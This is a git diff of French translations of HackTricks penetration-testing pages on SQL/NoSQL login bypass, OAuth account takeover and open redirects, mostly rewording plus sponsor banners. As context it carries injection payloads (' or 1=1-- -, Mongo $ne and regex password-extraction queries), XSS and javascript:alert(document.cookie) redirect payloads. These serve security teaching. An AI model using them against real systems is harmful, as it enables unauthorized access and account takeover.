diff --git a/pentesting-web/login-bypass/sql-login-bypass.md b/pentesting-web/login-bypass/sql-login-bypass.md index 40e9448c0..f12a947b3 100644 --- a/pentesting-web/login-bypass/sql-login-bypass.md +++ b/pentesting-web/login-bypass/sql-login-bypass.md @@ -1,21 +1,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Cette liste contient des **payloads pour contourner la connexion via XPath, LDAP et injection SQL** (dans cet ordre). -La manière d'utiliser cette liste est de mettre les **200 premières lignes comme nom d'utilisateur et mot de passe.** Ensuite, mettez la liste complète d'abord dans le nom d'utilisateur puis dans les champs de mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_). +La façon d'utiliser cette liste est de mettre les **200 premières lignes en tant que nom d'utilisateur et mot de passe**. Ensuite, mettez la liste complète d'abord dans le champ nom d'utilisateur, puis dans les champs de mot de passe tout en mettant un mot de passe quelconque (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_). ``` admin password @@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")# ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/nosql-injection.md b/pentesting-web/nosql-injection.md index fb80c8175..23870e4fd 100644 --- a/pentesting-web/nosql-injection.md +++ b/pentesting-web/nosql-injection.md @@ -17,8 +17,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -52,15 +52,15 @@ username[$exists]=true&password[$exists]=true {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` -### **SQL - Mongo** +### **SQL - Mongo** #### **Injection NoSQL** -Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur. +Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités d'injection NoSQL pour contourner l'authentification et accéder aux données sensibles stockées dans la base de données. ```javascript query = { $where: `this.username == '${username}'` } ``` -Un attaquant peut exploiter cela en entrant des chaînes comme `admin' || 'a'=='a`, faisant en sorte que la requête renvoie tous les documents en satisfaisant la condition avec une tautologie (`'a'=='a`). Cela est similaire aux attaques par injection SQL où des entrées comme `' or 1=1-- -` sont utilisées pour manipuler les requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées comme `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`. +Un attaquant peut exploiter cela en saisissant des chaînes comme `admin' || 'a'=='a`, faisant en sorte que la requête renvoie tous les documents en satisfaisant la condition avec une tautologie (`'a'=='a`). Cela est similaire aux attaques par injection SQL où des entrées comme `' or 1=1-- -` sont utilisées pour manipuler les requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées telles que `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -90,10 +90,6 @@ in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` ### **SQL - Mongo** - -#### **Injection NoSQL** - -Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur. ``` /?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password @@ -105,7 +101,7 @@ Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` -### Exécution arbitraire de fonctions PHP +### Exécution de fonction arbitraire en PHP En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python @@ -138,11 +134,11 @@ Il est possible d'utiliser [$lookup](https://www.mongodb.com/docs/manual/referen \ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Charges MongoDB +## Charges utiles MongoDB Liste [à partir d'ici](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` @@ -273,7 +269,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/oauth-to-account-takeover.md b/pentesting-web/oauth-to-account-takeover.md index ffa7a98ba..bf03d69aa 100644 --- a/pentesting-web/oauth-to-account-takeover.md +++ b/pentesting-web/oauth-to-account-takeover.md @@ -9,28 +9,28 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. ## Informations de base -OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation). +OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation permettant à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation). -Considérons un site web hypothétique _**https://exemple.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://exemple.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://exemple.com_ acquiert la capacité d'**accéder à vos messages en votre nom**. +Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ acquiert la capacité d'**accéder à vos messages en votre nom**. Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 : - **propriétaire de la ressource** : Vous, en tant qu'**utilisateur/entité**, autorisez l'accès à votre ressource, comme vos messages de compte sur les réseaux sociaux. - **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**. -- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://exemple.com**. +- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**. - **serveur d'autorisation** : Le **serveur qui délivre des `jetons d'accès`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**. - **client_id** : Un identifiant public et unique pour l'application. - **client_secret** : Une clé confidentielle, connue uniquement de l'application et du serveur d'autorisation, utilisée pour générer des `jetons d'accès`. - **response_type** : Une valeur spécifiant **le type de jeton demandé**, comme `code`. - **scope** : Le **niveau d'accès** demandé par l'`application cliente` au `propriétaire de la ressource`. -- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée. +- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préalablement enregistrée. - **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Sa singularité est cruciale pour servir de **mécanisme de protection CSRF**. - **grant_type** : Un paramètre indiquant **le type de subvention et le type de jeton à renvoyer**. - **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé conjointement avec `client_id` et `client_secret` par l'application cliente pour acquérir un `jeton d'accès`. @@ -41,8 +41,8 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 : Le **flux OAuth réel** se déroule comme suit : -1. Vous accédez à [https://exemple.com](https://exemple.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux". -2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) demandant votre autorisation pour permettre à l'application de https://exemple.com d'accéder à vos messages. La demande est structurée comme suit : +1. Vous accédez à [https://example.com](https://example.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux". +2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) vous demandant l'autorisation de permettre à l'application de https://example.com d'accéder à vos messages. La demande est structurée comme suit : ``` https://socialmedia.com/auth ?response_type=code @@ -63,7 +63,7 @@ POST /oauth/access_token Host: socialmedia.com ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"} ``` -6. Enfin, le processus se termine lorsque https://example.com utilise votre `access_token` pour effectuer un appel API vers les réseaux sociaux afin d'accéder +6. Enfin, le processus se termine lorsque https://example.com utilise votre `access_token` pour effectuer un appel API vers les médias sociaux afin d'accéder ## Vulnérabilités @@ -79,13 +79,13 @@ Pour ceux ciblant un serveur OpenID, le point de découverte (`**.well-known/ope ### XSS dans l'implémentation de redirection -Comme mentionné dans ce rapport de prime au bug [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester: +Comme mentionné dans ce rapport de prime au bogue [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` ### CSRF - Gestion incorrecte du paramètre d'état -Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête intersite (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou pas correctement validé**, permettant aux attaquants de contourner les protections CSRF. +Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête intersite (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou non correctement validé**, permettant aux attaquants de contourner les protections CSRF. Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, entraînant des **prises de contrôle de compte potentielles**. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins d'**authentification**. @@ -103,7 +103,7 @@ La gestion et la validation appropriées du **paramètre `state`** sont cruciale Identifier et protéger les paramètres secrets OAuth est crucial. Alors que le **`client_id`** peut être divulgué en toute sécurité, révéler le **`client_secret`** pose des risques importants. Si le `client_secret` est compromis, les attaquants peuvent exploiter l'identité et la confiance de l'application pour **voler les `access_tokens`** des utilisateurs et des informations privées. -Une vulnérabilité courante survient lorsque les applications gèrent incorrectement l'échange du `code` d'autorisation pour un `access_token` côté client plutôt que côté serveur. Cette erreur expose le `client_secret`, permettant aux attaquants de générer des `access_tokens` sous l'apparence de l'application. De plus, via l'ingénierie sociale, les attaquants pourraient augmenter les privilèges en ajoutant des étendues supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application. +Une vulnérabilité courante survient lorsque les applications gèrent incorrectement l'échange du `code` d'autorisation pour un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous l'apparence de l'application. De plus, via l'ingénierie sociale, les attaquants pourraient augmenter les privilèges en ajoutant des étendues supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application. ### Bruteforce du secret client @@ -120,7 +120,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ``` ### En-tête Referer divulguant Code + State -Une fois que le client a le **code et l'état**, s'ils sont **reflétés dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable. +Une fois que le client a le **code et l'état**, s'il est **reflété dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable. ### Jeton d'accès stocké dans l'historique du navigateur @@ -140,7 +140,7 @@ Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client dif ### AWS Cognito -Dans ce rapport de prime de bug : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur pourrait avoir **des autorisations suffisantes pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes. +Dans ce rapport de prime de bug : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur pourrait avoir **suffisamment de permissions pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes. ```bash # Read info of the user aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] @@ -168,12 +168,12 @@ Comme [**mentionné dans cet article**](https://salt.security/blog/oh-auth-abusi Cela est dû au fait qu'un **attaquant** pourrait créer une **application prenant en charge OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **jeton OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter à l'application OAuth de la victime en utilisant le jeton de l'utilisateur de la victime**. {% hint style="danger" %} -Par conséquent, si l'attaquant parvient à amener l'utilisateur à accéder à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application. +Par conséquent, si l'attaquant parvient à obtenir l'accès de l'utilisateur à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application. {% endhint %} ### Deux liens et cookie -Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire en sorte qu'une victime ouvre une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Ces informations seraient **stockées dans un cookie (RU)** et à **une étape ultérieure**, le **prompt** demandera à l'utilisateur s'il souhaite donner accès à cet hôte de l'attaquant. +Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire en sorte qu'une victime ouvre une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Ces informations seraient **stockées dans un cookie (RU)** et à **une étape ultérieure**, le **prompt** demandera à l'utilisateur s'il souhaite donner accès à cet hôte d'attaquant. Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux OAuth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant l'affichage du prompt, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt ne mentionnera pas l'hôte de l'attaquant**, mais le cookie sera défini sur celui-ci, de sorte que le **jeton sera envoyé à l'hôte de l'attaquant** dans la redirection. @@ -186,12 +186,12 @@ L'enregistrement dynamique du client dans OAuth sert de vecteur moins évident m **Points clés :** - L'enregistrement dynamique du client est souvent associé à `/register` et accepte des détails tels que `client_name`, `client_secret`, `redirect_uris`, et des URLs pour des logos ou des ensembles de clés JSON Web (JWKs) via des requêtes POST. -- Cette fonctionnalité respecte les spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables au SSRF. -- Le processus d'enregistrement peut exposer involontairement les serveurs au SSRF de plusieurs manières : -- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée. +- Cette fonctionnalité respecte les spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables aux SSRF. +- Le processus d'enregistrement peut exposer involontairement les serveurs aux SSRF de plusieurs manières : +- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupéré par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée. - **`jwks_uri`** : Une URL vers le document JWK du client, qui s'il est malveillamment conçu, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l'attaquant. -- **`sector_identifier_uri`** : Référence un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF. -- **`request_uris`** : Liste des URI de requête autorisés pour le client, qui peuvent être exploités si le serveur récupère ces URIs au début du processus d'autorisation. +- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF. +- **`request_uris`** : Liste les URI de requête autorisés pour le client, qui peuvent être exploités si le serveur récupère ces URIs au début du processus d'autorisation. **Stratégie d'exploitation :** @@ -216,7 +216,7 @@ D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/open-redirect.md b/pentesting-web/open-redirect.md index c05372d35..bc72f8fac 100644 --- a/pentesting-web/open-redirect.md +++ b/pentesting-web/open-redirect.md @@ -1,13 +1,13 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -64,11 +64,9 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -An open redirect vulnerability can be exploited by uploading a malicious SVG file that contains a redirect payload. When a user accesses the uploaded SVG file, they can be redirected to a malicious website without their consent. This can be used in phishing attacks to trick users into visiting a fake website and stealing their sensitive information. +# Open Redirect téléchargement de fichiers svg -## Mitigation - -To prevent open redirect vulnerabilities when uploading SVG files, ensure that all user-supplied input is properly validated and sanitized. Additionally, restrict the allowed domains for redirects to trusted sources only. Regularly monitor and update your application for any security patches to mitigate the risk of open redirect vulnerabilities. +Un attaquant peut exploiter une vulnérabilité d'**Open Redirect** pour rediriger les utilisateurs vers des sites malveillants en utilisant des fichiers SVG spécialement conçus. ```markup @@ -79,14 +77,6 @@ xmlns="http://www.w3.org/2000/svg"> ``` # Paramètres d'injection courants - -Les attaquants peuvent exploiter les redirections ouvertes pour rediriger les utilisateurs vers des sites malveillants. Les paramètres d'injection courants à rechercher sont : - -- `url` -- `link` -- `next` -- `target` -- `rurl` ``` /{payload} ?next={payload} @@ -169,49 +159,44 @@ response.redirect("~/mysafe-subdomain/login.aspx") ``` ### Java -#### Open Redirect +
